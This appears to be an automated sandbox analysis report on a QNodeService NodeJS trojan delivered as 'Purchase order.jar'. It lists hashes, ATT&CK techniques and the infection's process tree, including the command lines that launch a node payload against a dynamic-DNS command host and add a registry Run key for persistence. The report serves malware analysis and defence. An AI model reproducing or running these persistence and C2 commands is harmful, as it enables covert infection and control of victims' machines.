qnodeservice | 6a772f09e9c6e88ea2999212c40ce98d5d310907c00971d4f1f9ba55c5e83131

General

Target

Purchase order.jar
Size

85KB
MD5

204d0b9b7198ed31f81e004ed4c02445
SHA1

166a748ac03503cc764d3a8d8b67a891339bc85f
SHA256

6a772f09e9c6e88ea2999212c40ce98d5d310907c00971d4f1f9ba55c5e83131
SHA512

8a50084d5d2e492e03851c40b7fcf1f857825db476d4dbddd48187bf2babbc0ae247584183bee4de0a2fa6e77a4b86ee4327d0a4624b320e06a345420c39b3fc

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1316	node.exe
2192	node.exe
1388	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\84599876-7cc9-43a2-b9e2-474c01689bb5 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab9a-164.dat	js
behavioral2/files/0x000100000001ab9a-167.dat	js
behavioral2/files/0x000100000001ab9a-171.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1316	node.exe
1316	node.exe
1316	node.exe
1316	node.exe
2192	node.exe
2192	node.exe
2192	node.exe
2192	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe
1388	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 1364	1112	java.exe	77
PID 1112 wrote to memory of 1364	1112	java.exe	77
PID 1364 wrote to memory of 1316	1364	javaw.exe	81
PID 1364 wrote to memory of 1316	1364	javaw.exe	81
PID 1316 wrote to memory of 2192	1316	node.exe	83
PID 1316 wrote to memory of 2192	1316	node.exe	83
PID 2192 wrote to memory of 1388	2192	node.exe	84
PID 2192 wrote to memory of 1388	2192	node.exe	84
PID 1388 wrote to memory of 968	1388	node.exe	86
PID 1388 wrote to memory of 968	1388	node.exe	86
PID 968 wrote to memory of 3412	968	cmd.exe	87
PID 968 wrote to memory of 3412	968	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Purchase order.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\29714f0c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain steelpipeskzn.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VZ0ZSL\boot.js --hub-domain steelpipeskzn.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2192
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VZ0ZSL\boot.js --hub-domain steelpipeskzn.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1388
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "84599876-7cc9-43a2-b9e2-474c01689bb5" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:968
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "84599876-7cc9-43a2-b9e2-474c01689bb5" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1316-165-0x000002EA56CC0000-0x000002EA56CC1000-memory.dmp

Filesize
4KB

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memory/1388-172-0x00000044D8400000-0x00000044D8401000-memory.dmp

Filesize
4KB

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memory/2192-168-0x0000027061B00000-0x0000027061B01000-memory.dmp

Filesize
4KB

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